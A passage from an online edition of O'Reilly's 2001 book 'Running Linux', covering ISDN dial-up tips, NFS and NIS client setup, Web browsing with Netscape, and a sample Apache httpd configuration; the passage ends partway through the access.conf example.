If it still does not work, ask your provider. A good ISP has a phone support line and can help you connect your Linux box. If your provider tells you that they "only support Windows," then it's time to switch. There are many Linux-friendly providers out there. Often the support staff is using Linux and can help you even though the provider's official policy is not to support Linux.

If for some reason you are stuck with an uncooperative provider, try finding other customers of this provider that also use Linux. Setting up your connection in nonstandard cases means fiddling with the options and parameters of the ISDN subsystem in the kernel and the ipppd daemon, and if somebody else has already found out what to do, you don't have to.

15.3.4. Where to Go from Here?

Once your ISDN connection works and you can access the Internet, you might want to set up some conveniences or other customizations. Here are some suggestions:

  • Make ipppd dial your remote site automatically. This can be done by setting the default route to the ippp0 device like this:

    /sbin/route add default netmask 0.0.0.0 ippp0

    Now, whenever the kernel needs to send an IP packet to an IP address for which it has no specific route configured, it will trigger the ipppd daemon to build a connection.

    Use this only if you have also specified the huptimeout option of the ISDN subsystem, otherwise you could pay a fortune to your telephone company (unless you have a flat rate).

    Since there are programs that try to build up Internet connections from time to time (Netscape is one of those candidates), setting this up can be dangerous for your wallet. If you use this, make sure to check the state of the connection often (see later in this section).

  • Try tools that monitor your ISDN connection. The isdn4k-utils package contains a number of those tools, including the command-line tools imon and imontty and X-based tools.

  • Configure isdnlog to log exactly what you need, and use isdnrep to get detailed reports about the usage of your ISDN line. This works not only for calls to and from computer systems but for calls to other ISDN-enabled devices like phones and fax machines. There is only one caveat: Your ISDN board cannot capture outgoing phone numbers for connections being set up by other devices. Most telephone companies provide a service, though, that echos this phone number back to you and thus lets the ISDN subsystem pick it up. This service is often available for free or for a nominal fee. Ask your telephone company.

  • For the truly adventurous: Experiment with Multilink-PPP. As you know, with ISDN you have at least two lines. If you need extra high capacity, why not use both? That's what Multilink-PPP does. In order to use this, you need to turn on the Support generic MP option during kernel configuration and see the files Documentation/isdn/README.syncppp and Documentation/isdn/syncppp.FAQ in the kernel sources for hints on how to do this. Of course, your provider has to support this, too.

Previous | Home | Next
15.2. Dial-up PPP | Book Index | 15.4. NFS and NIS Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


NFS and NIS Configuration (Running Linux)

 Running LinuxSearch this book
Previous Next

15.4. NFS and NIS Configuration

Once you have TCP/IP enabled on your system, you may wish to configure your system to use the Network File System (NFS) or Network Information Service (NIS). NFS allows your system to share files directly with a network of machines. File access across NFS is transparent; you simply access the files as if they were stored on your local disk. In system administration terms, one system mounts another's filesystem on a local directory, just as a local filesystem can be mounted. NFS also allows you to export filesystems, allowing other systems on the network to mount your disks directly.

NIS (formerly known as the Yellow Pages, or YP, service) is a system that allows your host to obtain information automatically on user accounts, groups, filesystem mount points, and other system databases from servers on the network. For example, let's say you have a large collection of machines that should have the same user accounts and groups (information usually found in /etc/passwd and /etc/group). Users should be able to log into any of these machines and access their files directly (say, by mounting their home filesystem from a central location using NFS). Obviously, maintaining user accounts across many machines would be problematic; in order to add a new user, you would need to log into each machine and create the user account on each. When you use NIS, however, the system automatically consults centrally maintained databases across the network for such information, in addition to local files such as /etc/passwd. NIS+ is an enhanced NIS service that is coming into use at some sites.

If your Linux system is to interact with other systems on a LAN, it's quite possible that NFS and NIS are in wide use on your LAN. In this section, we'll show you how to configure your system as an NFS and NIS client; that is, to mount remote filesystems and to participate in an existing NIS domain. It is possible to configure your system as an NFS and NIS server, but there are many subtle issues involved in configuring any Unix or Linux system as an NFS/NIS server. Instead of providing a dangerously incomplete account of server configuration here, we refer you to O'Reilly's Managing NFS and NIS by Hal Stern. If you are already familiar with NFS/NIS configuration on other Unix systems, Linux is really no different; the manual pages and Linux HOWTO documents provide all of the specifics.

15.4.1. Configuring NFS

Configuring your system to mount remote filesystems over NFS is a breeze. Assuming that you have TCP/IP configured and hostname lookup works correctly, you can simply add a line to your /etc/fstab file such as the following:

# device          directory           type    options
allison:/usr	  /fsys/allison/usr   NFS     defaults
As with regular filesystem mounts, be sure to create the mount-point directory (in this case /fsys/allison/usr) first. The line in /etc/fstab example allows your system to mount the directory /usr from the machine allison on the network.

Before the example NFS mount will work, however, the system administrator for the NFS server (here allison) must configure the system to export the given directory (here, /usr) to your system. On most Unix systems, this is simply a matter of editing a file, such as /etc/exports, or running a simple command. Exporting a directory makes it available for other systems to mount it using NFS. It is not necessary for the exported directory to be the root of a filesystem itself; that is, you can export /usr even if /usr does not have its own separate filesystem.

In exporting a directory, the administrator may choose to make the directory available for read-only access. In this case you will not be able to write to the filesystem when mounted on your system. You should set the options field of the/etc/fstab line in the previous example to ro instead of defaults.

A few words of warning about NFS.

First of all, NFS is not very happy when the servers for remote filesystems go down or the network connection fails. When the NFS server is unreachable for any reason, your system prints warning messages to the console (or system logs) periodically. If this is a problem, you can attempt to unmount any remote filesystems from the affected servers.

Another detail to watch out for when mounting NFS filesystems is the owner (UIDs) and group IDs (GIDs) of the files on the remote filesystem. In order to access your own files via NFS, the user and group ID for your own account must match those on the NFS server. One easy way to check this is with an ls -l listing: If the UID or GID does not match any local user, ls displays the UID/GID of files as numbers; otherwise, the user or group name is printed.

If IDs do not match, you have a few ways to remedy this problem. One is to simply change the UID of your user account (and the GID of your primary group) to match those on the NFS server (say, by editing your local /etc/passwd ). This approach requires you to chown and chgrp all of your local files after making the change. Another solution is to create a separate account with matching UID/GID. However, the best approach may be to use NIS to manage your user and group databases. With this solution, you do not create your user and group accounts locally; instead, they are provided to you by an NIS server. More on this later.

Another NFS caveat is the restriction of root permissions on NFS-mounted filesystems. Unless the NFS server explicitly grants your system root access on NFS-mounted filesystems, you will not have total access to files when logged in as root on your local system. The reason for this is security: allowing unlimited root access to files on a remote-mounted NFS filesystem opens itself up to abuse, especially when the NFS server and the NFS client are maintained or owned by different people. For this reason, you will not have omnipotent power to access or modify remote-mounted files when logged in as root on your local system.

15.4.2. Configuring NIS

NIS is a complex system, simply because it is so flexible. NIS is a general-purpose network database system, allowing your machine to transparently access information on user accounts, groups, filesystems, and so forth, from databases stored across the network. One goal of NIS is to ease network management. Allowing user account information (such as that stored in /etc/passwd ), for example, to be maintained on a single server makes it easy for many machines to share the same user accounts. In the previous section on NFS, we showed how user and group IDs on the NFS server and client should match in order to effectively access your files remotely. Using NIS allows your UID and GID to be defined from a remote site, not locally.

If your machine is connected at a site where NIS is used, chances are you can add your machine as an NIS client, thus allowing it to obtain user, group, and other databases directly from the network. To some extent this makes it unnecessary to create local user accounts or groups at all; apart from the locally defined users such as root, bin, and so forth, all other users will be created from the NIS server. If you couple the use of NIS with mounting user home directories from an NFS server, it's also unnecessary to set aside local storage for users. NIS can greatly lessen the amount of work you need to do as a system administrator.

In an NIS configuration, there may be NIS servers, slaves, and clients. As you can guess, servers are the systems where NIS databases originate and are maintained. NIS slaves are systems to which the server copies its databases. The slaves can provide the information to other systems, but changes to the databases must be made from the server. NIS clients are those systems that request database information from servers or slaves. Slaves are simply used as a way to ease the load on the NIS server; otherwise, all NIS requests would have to be serviced by a single machine.

To completely understand how NIS works and to maintain an NIS server is enough material for a whole book (again, Managing NFS and NIS). However, when reading about NIS you are likely to come across various terms. NIS was originally named YP. This usage has been discontinued as Yellow Pages is trademarked in the United Kingdom (it's the phone book, after all).

There are at least two implementations of NIS for Linux: the "traditional" NIS implementation and a separate implementation known as "NYS" (standing for NIS+, YP, and Switch). The NIS client code for the "traditional" implementation is contained within the standard C library and is already installed on most Linux systems. (This is necessary to allow programs such as login to transparently access NIS databases as well as local system files.) The NYS client code is contained within the Network Services Library, libnsl. Linux systems using NYS should have compiled programs such as login against this library. On the other hand, the new glibc2 standard C library comes with support for NIS+. Different Linux distributions use different versions of the NIS or NYS client code, and some use a mixture of the two. To be safe, we'll describe how to configure a system for both traditional the NIS and NYS implementations, meaning that no matter which is installed on your system, it should be able to act as a client.

We do assume here that you have installed and started all the necessary NIS daemon processes (such as ypbind ) used by traditional NIS to talk to the NIS server. If your Linux system does not appear to have any NIS support, consult documents such as the Linux NIS HOWTO to configure it from scratch. Nearly all current Linux distributions come prepackaged with NIS client (and server) support, and all that's required of you is to edit a few configuration files.

The first step is to set the NIS domain in which your system will be operating. Your network administrators can provide this information to you. Note that the NIS domain name is not necessarily identical to the DNS domain name, which can be set with the hostname command. For example, if the full hostname of your system is loomer.vpizza.com, your DNS domain name is vpizza.com. However, your NIS domain name could be entirely different, for example, vpizzas. The NIS domain name is selected by the NIS server administrators and is not related to the DNS domain name described earlier.

Setting the domain name is usually a matter of running the domainname command at boot time, perhaps in one of your system rc files (such as /etc/rc.d/rc.inet1 described earlier). You should first check that domainname is not being executed in one of the existing rc files. The command takes the format:

domainname domain-name
for example, domainname vpizzas. The command itself is usually found in /sbin/domainname and may have a slightly different name, such as domainname-yp.

A slightly different method sets the domain name under NYS. You should create (or edit) the file /etc/yp.conf. This file should contain two lines: one specifying the name of your NIS domain and another specifying the hostname of the NIS server. As an example:

domain vpizzas
ypserver allison.vpizza.com
sets the NIS domain name to vpizzas and specifies that allison.vpizza.com should be used as the NIS server. If no ypserver line is included in this file, the system broadcasts a message on the network at boot time to determine the name of the NIS server. Your network administrators can provide you with the hostname of your preferred NIS server.

Once these two steps are complete, your system should be able to transparently access NIS databases. One way to test this is to query the system for a password database entry from the NIS server. The ypwhich queries specific NIS databases, for example:

ypwhich username passwd
If this returns the line from the NIS passwd database for the given user, you have successfully queried the NIS database. (One way to verify that the information returned is correct is to run this same command on another system in your NIS domain whose NIS configuration is known to be working.) The NIS passwd database is not identical to the /etc/passwd file on your system, although it is in the same format. The Linux HOWTO documents contain additional information on troubleshooting your NIS configuration.

Previous | Home | Next
15.3. PPP over ISDN | Book Index | 16. The World Wide Web and Electronic Mail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The World Wide Web and Electronic Mail (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 16. The World Wide Web and Electronic Mail

Contents:

The World Wide Web
Electronic Mail

The previous chapter put you on a network. It may have been hard work, but the result was quite an accomplishment: your system is now part of a community. If you are connected to the Internet, the next step is to get access to all the riches this medium offers. People generally agree that the most useful applications on the Internet are the World Wide Web and electronic mail; they are the subjects of this chapter.

16.1. The World Wide Web

The World Wide Web (WWW or Web, for short) is a relative newcomer to the Internet information hierarchy. The WWW project's goal is to unite the many disparate services available on the Internet into a single, worldwide, multimedia, hypertext space. In this section we'll show you how to access the WWW with your Linux machine. We'll also describe how to configure your own WWW server to provide documents to the Web.

The World Wide Web project was started in 1989 by Tim Berners-Lee at the European Center for Particle Physics (CERN). The original goal of the project was to allow groups of researchers in the particle-physics community to share many kinds of information through a single, homogeneous interface.

Before the Web, each type of information available via the Internet was provided by its own unique client/server pair. For example, to retrieve files via FTP, one used the FTP client, which connected to the ftpd daemon on the server machine. Gopher (an old hierarchical document system that was considered quite flashy before the Web), Usenet news, finger information, and so forth all required their own individual clients. The differences between operating systems and machine architectures compounded the problem; in theory, these details should be hidden from the user who is trying to access the information.

The Web provides a single abstraction for the many kinds of information available from the Internet. One uses a single Web "client," a so-called browser--such as Netscape Navigator or Lynx--to access the Web. On the Web, information is provided as documents (also known as "pages"), where each document may have links to others. Documents may be located on any machine on the Internet that is configured to provide web access. Representing information in this way is commonly referred to as "hypertext," which is an important concept underlying the entire Web.

For example, the Linux Documentation Project provides various Linux-related documents via the Web. The LDP home page, which can be found at http://www.linuxdoc.org, contains links to a number of other Linux-related pages around the world. The LDP home page is shown in Figure 16-1.

Figure 16-1. Linux Documentation Project (LDP) Home Page on the World Wide Web

The highlighted regions of text in the document are links. When the user selects a link (e.g., by clicking on the text with the mouse), the document pointed to by the link is retrieved. The documents can reside on virtually any machine on the Internet; the actual "locations" of web documents are hidden from the user.

Many of the documents available via the Web are in the form of multimedia hypertext pages, as seen in Figure 16-1. These pages may contain links to pictures, sounds, MPEG video files, PostScript documents, and much more. This multimedia information is provided by a protocol known as HyperText Transfer Protocol (HTTP). The Web is also capable of accessing documents provided via FTP, Gopher, Usenet news, and so on.

For example, when accessing a document via HTTP, you are likely to see a page such as that displayed in Figure 16-1--with embedded pictures, links to other pages, and so on. When accessing a document via FTP, you might see a directory listing of the FTP server, as seen in Figure 16-2. Clicking on a link in the FTP document either retrieves the selected file or displays the contents of another directory.

Figure 16-2. FTP directory as displayed in the Netscape Navigator Web browser

Given this kind of abstraction, we need a way to refer to documents available on the Web. Uniform Resource Locators, or URLs, are the answer. A URL is simply a pathname uniquely identifying a web document, including the machine it resides on, the filename of the document, and the protocol used to access it (FTP, HTTP, etc.). For example, when you visit LDP's home page:

http://www.linuxdoc.org
it redirects you to the URL:
http://metalab.unc.edu/LDP/index.html
Let's break this down. The first part of the URL, http:, identifies the protocol used for the document, which in this case is HTTP. The second part of the URL, //metalab.unc.edu, identifies the machine where the document is provided. The final portion of the URL, LDP/index.html, is the logical pathname to the document on metalab.unc.edu. This is similar to a Unix pathname, in that it identifies the file index.html in the directory LDP. Therefore, to access the LDP home page, you'd fire up a browser, telling it to access http://metalab.unc.edu/LDP/index.html. What could be easier?

Actually, the conventions of web servers do make it easier. If you specify a directory as the last element of the path, the server understands that you want the file index.html in that directory. So you can reach the LDP home page with a URL as short as:

http://metalab.unc.edu/LDP/
To access a file via anonymous FTP, we can use a URL such as:
ftp://tsx-11.mit.edu/pub/linux/docs/INFO-SHEET/
This URL retrieves the introductory Linux information on tsx-11.mit.edu. Using this URL with your browser is identical to using ftp to fetch the file by hand.

The best way to understand the Web is to explore it. In the following section we'll explain how to get started with a browser. Later in the chapter, we'll cover how to configure your own machine as a web server for providing documents to the rest of the Web.

Of course, in order to access the Web, you'll need a machine with direct Internet access (via either Ethernet or PPP). In the following sections, we assume that you have already configured TCP/IP on your system and that you can successfully use clients such as telnet and ftp.

16.1.1. Using Netscape Navigator

Netscape Navigator is one of the most popular browsers. Versions are available for the Macintosh, Microsoft Windows, and, of course, the X Window System on Unix machines. As you would expect, there is a Linux binary version available, which you can obtain from the Netscape FTP sites, such as ftp://ftp.netscape.com.

Netscape Navigator exists in two incarnations. First, there is the product developed and distributed by Netscape Communications Inc., which is available only in binary, but may now (unlike in earlier times) be freely redistributed. Second, there is Mozilla, which in a way is the "Open Source" version of Netscape Navigator. Netscape has made the source code available for everybody to hack on under a license similar to the GPL, but of course they do not assume responsibility for those versions. In this book, we will cover only the "official" version from Netscape, but you can find full information about the Open Source version at http://www.mozilla.org.

In addition, there are two versions of the software shipped by Netscape. First, there is Navigator, the standalone web browser. Second, there is Netscape Communicator, which really is a suite of programs, including Navigator, a mail and news client, and several other, less often used programs. When you want to use only the web browser, it suffices to get just Navigator. If you want to use the other tools as well, get the full Communicator suite. In the following description, we will assume that you use Communicator, because that's what is on most Linux distributions. If you have Navigator, things should be the same except that you won't have the mail and news client.

Here, we assume that you're using a networked Linux machine running X and that you have obtained a copy of the Netscape Navigator binary. As stated before, your machine must be configured to use TCP/IP, and you should be able to use clients such as telnet and ftp.

Starting Netscape Navigator is simple. Run the command:

eggplant$ netscape url
where url is the complete web address, or URL, for the document you wish to view. If you don't specify a URL, Netscape should display the Netscape home page as shown in Figure 16-3 by default, but you can specify another page to be displayed on startup, even a blank page.

Figure 16-3. Netscape home page

The Netscape home page is a good place to start if you're interested in Web exploration. It contains links to information about the software itself, as well as demonstration documents showing off the power of the Web. (See the next section "Section 16.1.2, "Navigating the Web"," for more information on finding your way around the Web.)

While using Netscape Navigator, you can scroll the document using the scrollbars on the edge of the window. Alternatively, you can use the space bar and Delete key to move back and forth by pages or the arrow keys to scroll the document in smaller steps.

Links appear as highlighted text (usually in blue, on color systems, or underlined on monochrome). To follow a link, simply click on it with the mouse. Netscape remembers the links that you have followed; after you have selected a link, it appears in a darker color (or with dotted underlines) in the future.

Keep in mind that retrieving documents on the Web can be slow at times. This depends on the speed of the network connection from your site to the server, as well as the traffic on the network at the time. In some cases, web sites may be so loaded that they simply refuse connections; if this is the case, Netscape displays an appropriate error message. At the bottom edge of the Netscape window, a status report is displayed, and while a transfer is taking place, the Netscape Navigator logo in the upper-right corner of the window animates. Clicking on the logo takes you back to the Netscape home page.

As you traverse links within Netscape Navigator, each document is saved in the window history, which can be recalled using the Go menu. Pressing the Back button at the top edge of the Netscape window moves you back through the window history to previously visited documents. Similarly, the Forward button moves you forward through the history.

You can also bookmark frequently visited web sites (or URLs) to Netscape's "bookmarks file." Whenever you are viewing a document that you might want to return to later, choose Add Bookmark from the Communicator/Bookmarks menu. You can display your bookmarks by choosing the Bookmarks menu. Selecting any item in this menu retrieves the corresponding document from the Web.

As mentioned previously, you can access new URLs by running netscape with the URL as the argument. However, you can also select Open Page… from the File menu. Just type the name of the URL into the text-entry field, press the Enter key, and the corresponding document is retrieved.

Netscape Navigator is a powerful application with many options. There are many ways to customize Netscape's behavior; however, many of the customization details tend to change from release to release. Fortunately, Netscape has provided complete documentation for Navigator online, via the Web (where else?). This information is available on Netscape's home page at http://www.netscape.com. Recent versions of Navigator also include the documentation as a local copy.

Netscape is not the only browser that reads Web documents. The National Center for Supercomputing Applications (NCSA), which developed the first modern Web browser, Mosaic, has recently released a powerful new version called Vosaic.

Another browser for the X Window System that currently does not have all the bells and whistles but is fast and easy to use is kfm from the KDE project (see "Section 11.3, "The K Desktop Environment"" in Chapter 11, "Customizing Your X Environment" ). Yet another versatile browser is Lynx. It is a text-based browser, so you miss the pictures when you use it. But this makes it fast, and you may find it convenient. You can also use it without the X Window System. And finally, for those who never want to leave Emacs, there is Emacs/W3, a fully featured web browser you can use within Emacs or XEmacs.

16.1.2. Navigating the Web

The Web is growing at a tremendous rate. In fact, by the time you read this book, the Web may have completely changed in appearance from the descriptions given here. Hundreds of thousands of web servers have emerged since the Web's inception.

As the Web expands to encompass countless servers from all over the world, it becomes more difficult to find the information that's out there. Unless you happen to run across a URL or hyperlink to an interesting site, how can you locate information by subject?

Fortunately, a number of services have appeared on the Web to simplify this task. While none of these services provide a complete listing of web sites, the high degree of connectivity on the Web ensures that if whatever you're looking for is out there, you'll find it.

First, keep in mind that the Web is a dynamic place. We've made every attempt to certify that the information here is current, but by the time you read this book, several of these links may have moved, or may no longer exist.

A popular index of web sites is Yahoo!, available at:

http://www.yahoo.com
but there are now many such "portals" offering a slice of interesting sites.

One of the largest search engines is:

http://www.altavista.com
which indexes millions of web sites. Also interesting is:
http://www.dejanews.com
where news articles are indexed and searchable.

16.1.3. Configuring Your Own WWW Server

Now that you've seen what the Web provides, you're ready to set up your own gas station on the information superhighway. Running your own web server is easy. It consists of two tasks: configuring the httpd daemon and writing documents to provide on the server.

httpd is the daemon that services HTTP requests on your machine. Any document accessed with an http URL is retrieved using httpd. Likewise, ftp URLs are accessed using ftpd, gopher URLs using gopherd, and so on. There is no single web daemon; each URL type uses a separate daemon to request information from the server.

There are several HTTP servers available. The one discussed here is the Apache httpd, which is easy to configure and very flexible. In this section, we'll discuss how to install and configure the basic aspects of this version of httpd. Later in the chapter, we talk about how to write your own documents in HTML (the markup language used by web pages) as well as more advanced aspects of server configuration, such as providing interactive forms.

The first step, of course, is to obtain a Linux httpd binary. Your Linux distribution may come with httpd installed, but make sure that this in fact is the Apache httpd and not one of the older ones. If you do not find Apache in your distribution, you can obtain the httpd sources from http://www.apache.org and build it yourself. The apache.org web site contains complete documentation for the software.

Apache--The Definitive Guide by Ben Laurie and Peter Laurie covers everything about Apache, including sophisticated configuration issues.

Where the various files of an Apache installation go depends on your distribution or the package you installed, but the following is a common setup. You should locate the various pieces in your system before continuing:

/usr/sbin/httpd

Is the binary executable, which is the server itself. On Debian, this is /usr/sbin/apache instead.

/etc/httpd

Contains the configuration files for httpd, most notably httpd.conf. We discuss how to modify these files later. On Debian systems, this is /etc/apache instead of /etc/httpd.

/usr/local/httpd

Contains the HTML scripts to be served up to the site's clients. This directory and those below it, the web space, are accessible to anyone on the Web and therefore pose a severe security risk if used for anything other than public data.

/var/log/httpd

Holds log files stored by the server.

Our task now is to modify the configuration files in the configuration subdirectory. You should notice at least the following four files in this directory: access.conf-dist, httpd.conf-dist, mime.types, and srm.conf-dist. Copy the files with names ending in -dist and modify them for your own system. For example, access.conf-dist is copied to access.conf and edited.

The latest version of Apache pretty much configures itself, but in case things go wrong, we'll tell you here how to do it manually so that you can fix things yourself.

At http://www.apache.org, you will find complete documentation on how to configure httpd. Here, we'll present sample configuration files that correspond to an actual running httpd.

16.1.3.1. httpd.conf

The file httpd.conf is the main server-configuration file. First, copy httpd.conf-dist to httpd.conf and edit it. In the following example, a sample httpd.conf is presented with comments explaining each field:

# This is the main server configuration file.
# See URL http://www.apache.org for instructions.

# Do NOT simply read the instructions in here without understanding
# what they do, if you are unsure consult the online docs. You have been
# warned.

# Originally by Rob McCool. Copyright (c) 1995-1999 The Apache Group.
# All rights reserved. See http://www.apache.org/LICENSE.txt for license.

# ServerType is either inetd, or standalone.

ServerType standalone

# If you are running from inetd, go to "ServerAdmin".

# Port: The port the standalone listens to. For ports < 1023, you will
# need httpd to be run as root initially.

Port 80

# HostnameLookups: Log the names of clients or just their IP numbers
#   e.g.   www.apache.org (on) or 204.62.129.132 (off)
# You should probably turn this off unless you are going to actually
# use the information in your logs, or with a CGI.  Leaving this on
# can slow down access to your site.
HostnameLookups on

# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.

# User/Group: The name (or #number) of the user/group to run httpd as.
#  On SCO (ODT 3) use User nouser and Group nogroup
#  On HPUX you may not be able to use shared memory as nobody, and the
#  suggested workaround is to create a user www and use that user.
User wwwrun
Group #-2

# The following directive disables keepalives and HTTP header flushes for
# Netscape 2.x and browsers which spoof it. There are known problems with
# these

BrowserMatch Mozilla/2 nokeepalive

# ServerAdmin: Your address, where problems with the server should be
# e-mailed.

ServerAdmin mdw@zucchini.veggie.org

# ServerRoot: The directory the server's config, error, and log files
# are kept in

ServerRoot /usr/local/httpd

# BindAddress: You can support virtual hosts with this option. This
# option is used to tell the server which IP address to listen to.
# It can either contain "*", an IP address, or a fully qualified
# Internet domain name. See also the VirtualHost directive.

#BindAddress *

# ErrorLog: The location of the error log file. If this does not start
# with /, ServerRoot is prepended to it.

ErrorLog /var/log/httpd.error_log

# TransferLog: The location of the transfer log file. If this does not
# start with /, ServerRoot is prepended to it.

TransferLog /var/log/httpd.access_log

# PidFile: The file the server should log its pid to
PidFile /var/run/httpd.pid

# ScoreBoardFile: File used to store internal server process information.
# Not all architectures require this.  But if yours does (you'll know
# because this file is created when you run Apache) then you *must*
# ensure that no two invocations of Apache share the same scoreboard file.
ScoreBoardFile /var/log/apache_status

# ServerName allows you to set a host name which is sent back to clients
# for your server if it's different than the one the program would get
# (i.e. use "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you
# define here must be a valid DNS name for your host. If you don't
# understand this, ask your network administrator.

#ServerName www.veggie.org

# CacheNegotiatedDocs: By default, Apache sends Pragma: no-cache with each
# document that was negotiated on the basis of content. This asks proxy
# servers not to cache the document. Uncommenting the following line
# disables this behavior, and proxies will be allowed to cache the
# documents.

#CacheNegotiatedDocs

# Timeout: The number of seconds before receives and sends time out

Timeout 300

# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.

KeepAlive On

# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We reccomend you leave this number high, for maximum performance.

MaxKeepAliveRequests 100

# KeepAliveTimeout: Number of seconds to wait for the next request

KeepAliveTimeout 15

# Server-pool size regulation.  Rather than making you guess how many
# server processes you need, Apache dynamically adapts to the load it
# sees --- that is, it tries to maintain enough server processes to
# handle the current load, plus a few spare servers to handle transient
# load spikes (e.g., multiple simultaneous requests from a single
# Netscape browser).

# It does this by periodically checking how many servers are waiting
# for a request.  If there are fewer than MinSpareServers, it creates
# a new spare.  If there are more than MaxSpareServers, some of the
# spares die off.  These values are probably OK for most sites ---

MinSpareServers 5
MaxSpareServers 10

# Number of servers to start --- should be a reasonable ballpark figure.

StartServers 5

# Limit on total number of servers running, i.e., limit on the number
# of clients who can simultaneously connect --- if this limit is ever
# reached, clients will be LOCKED OUT, so it should NOT BE SET TOO LOW.
# It is intended mainly as a brake to keep a runaway server from taking
# Unix with it as it spirals down...

MaxClients 150

# MaxRequestsPerChild: the number of requests each child process is
#  allowed to process before the child dies.
#  The child will exit so as to avoid problems after prolonged use when
#  Apache (and maybe the libraries it uses) leak.  On most systems, this
#  isn't really needed, but a few (such as Solaris) do have notable leaks
#  in the libraries.

MaxRequestsPerChild 30

# Proxy Server directives. Uncomment the following line to
# enable the proxy server:

#ProxyRequests On

# To enable the cache as well, edit and uncomment the following lines:

#CacheRoot /usr/local/etc/httpd/proxy
#CacheSize 5
#CacheGcInterval 4
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
#NoCache a_domain.com another_domain.edu joes.garage_sale.com

# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the VirtualHost command

#Listen 3000
#Listen 12.34.56.78:80

#
# Read config files from /etc/httpsd
#
ResourceConfig  /etc/httpd/srm.conf
AccessConfig    /etc/httpd/access.conf
TypesConfig     /etc/httpd/mime.types

The ServerType directive is used to specify how the server will run--either as a standalone daemon (as seen here) or from inetd. For various reasons, it's usually best to run httpd in standalone mode. Otherwise, inetd must spawn a new instance of httpd for each incoming connection.

One tricky item here is the port number specification. You may wish to run httpd as a user other than root (that is, you may not have root access on the machine in question and wish to run httpd as yourself ). In this case, you must use a port numbered 1024 or above. For example, if we specify:

Port 2112
then we may run httpd as a regular user. In this case, HTTP URLs to this machine must be specified as:
http://www.veggie.org:2112/…
If no port number is given in the URL (as is the usual case), port 80 is assumed.

16.1.3.2. srm.conf

srm.conf is the Server Resource Map file. It configures a number of facilities provided by the server; for example, the directory where HTML documents are stored on your system, or what directory the various CGI binaries are located in. Let's walk through a sample srm.conf :

# The directory where HTML documents will be held.
DocumentRoot /usr/local/httpd/htdocs

# Personal directory for each user where HTML documents will be held.

UserDir public_html

Here, we specify the DocumentRoot directory, where documents to be provided via HTTP are stored. These documents are written in the HyperText Markup Language (HTML), which is discussed in the section "Section 16.1.4, "Writing HTML Documents"."

For example, if someone were to access the URL:

http://www.veggie.org/fruits.html
the actual file accessed would be /usr/local/httpd/htdocs/fruits.html.

The UserDir directive specifies a directory each user may create in his home directory for storing public HTML files. For example, if we were to use the URL:

http://www.veggie.org/~mdw/linux-info.html
the actual file accessed would be ~mdw/public_html/linux-info.html.

# If a URL is received with a directory but no filename, retrieve this
# file as the index (if it exists).
DirectoryIndex index.html

# Turn on 'fancy' directory indexes
FancyIndexing on

Here, we enable the indexing features of httpd. In this case, if a browser attempts to access a directory URL, the file index.html in that directory is returned, if it exists. Otherwise, httpd generates a "fancy" index with icons representing various file types. Figure 16-2 shows an example of such an index.

Icons are assigned using the AddIcon directive, as seen here:

# Set up various icons for use with fancy indexes, by filename
# E.g., we use DocumentRoot/icons/movie.xbm for files ending
#     in .mpg and .qt
AddIcon /icons/movie.xbm .mpg
AddIcon /icons/back.xbm ..
AddIcon /icons/menu.xbm ^^DIRECTORY^^
AddIcon /icons/blank.xbm ^^BLANKICON^^
DefaultIcon /icons/unknown.xbm

The icon filenames (such as /icons/movie.xbm) are relative to DocumentRoot by default. (There are other ways to specify pathnames to documents and icons--for example, by using aliases. This is discussed later.) There is also an AddIconByType directive, which lets you specify an icon for a document based on the document's MIME type and an AddIconByEncoding directive, which lets you specify an icon for a document based on the document's encoding (i.e., whether and how it is compressed). These encodings are described further later in the section "Section 16.1.4.4, "An aside: MIME types"."

You can also specify an icon to be used when none of the above match. This is done with the DefaultIcon directive.

The optional ReadmeName and HeaderName directives specify the names of files to be included in the index generated by httpd :

ReadmeName README
HeaderName HEADER

Here, if the file README.html exists in the current directory, it will be appended to the index. The file README will be appended if README.html does not exist. Likewise, HEADER.html or HEADER will be included at the top of the index generated by httpd. You can use these files to describe the contents of a particular directory when an index is requested by the browser:

# Local access filename
AccessFileName .htaccess

# Default MIME type for documents
DefaultType text/plain

The AccessFileName directive specifies the name of the local access file for each directory. (This is described later, along with the discussion about the access.conf file.) The DefaultType directive specifies the MIME type for documents not listed in mime.types. This is described further in the section "Section 16.1.4.4, "An aside: MIME types"":

# Set location of icons
Alias /icons/ /usr/local/html/icons/

# Set location of CGI binaries
ScriptAlias /cgi-bin/ /usr/local/httpd/cgi-bin/
The Alias directive specifies a pathname alias for any of the documents listed in srm.conf or accessed by a URL. Earlier, we used the AddIcon directive to set icon names using pathnames such as /icons/movie.xbm. Here, we specify that the pathname /icons/ should be translated to /usr/local/html/icons/. Therefore, the various icon files should be stored in the latter directory. You can use Alias to set aliases for other pathnames as well.

The ScriptAlias directive is similar in nature, but it sets the actual location of CGI scripts on the system. Here, we wish to store scripts in the directory /usr/local/httpd/cgi-bin/. Any time a URL is used with a leading directory component of /cgi-bin/, it is translated into the actual directory name. More information on CGI and scripts is included in the section "Section 16.1.5.2, "Writing the CGI script"."

16.1.3.3. access.conf

The last configuration file that requires your immediate attention is access.conf, which is the global access configuration file for httpd. It specifies which files may be accessed and in what ways. You may also have a per-directory access configuration file if you require greater specificity. (Recall that we used the AccessFileName directive in srm.conf to set the local access file for each directory to .htaccess.)

Here is a sample access.conf file. It consists of a number of <Directory> items, each of which specifies the options and attributes for a particular directory:

# Set options for the cgi-bin script directory.
<Directory /usr/local/html/cgi-bin>
Options Indexes FollowSymLinks
</Directory>
Here, we specify that the CGI script directory should have the access options Indexes and FollowSymLinks. There are a number of access options available. These include:

FollowSymLinks

Symbolic links in this directory should be followed to retrieve the documents they point to.

ExecCGI

Allow the execution of CGI scripts from this directory.

Indexes

Allow indexes to be generated from this directory.

None

Disable all options for this directory.

All

Enable all options for this directory.

There are other options as well; see the httpd documentation for details.

Next, we enable several options and other attributes for /usr/local/httpd/htdocs, the directory containing our HTML documents:

<Directory /usr/local/httpd/htdocs>

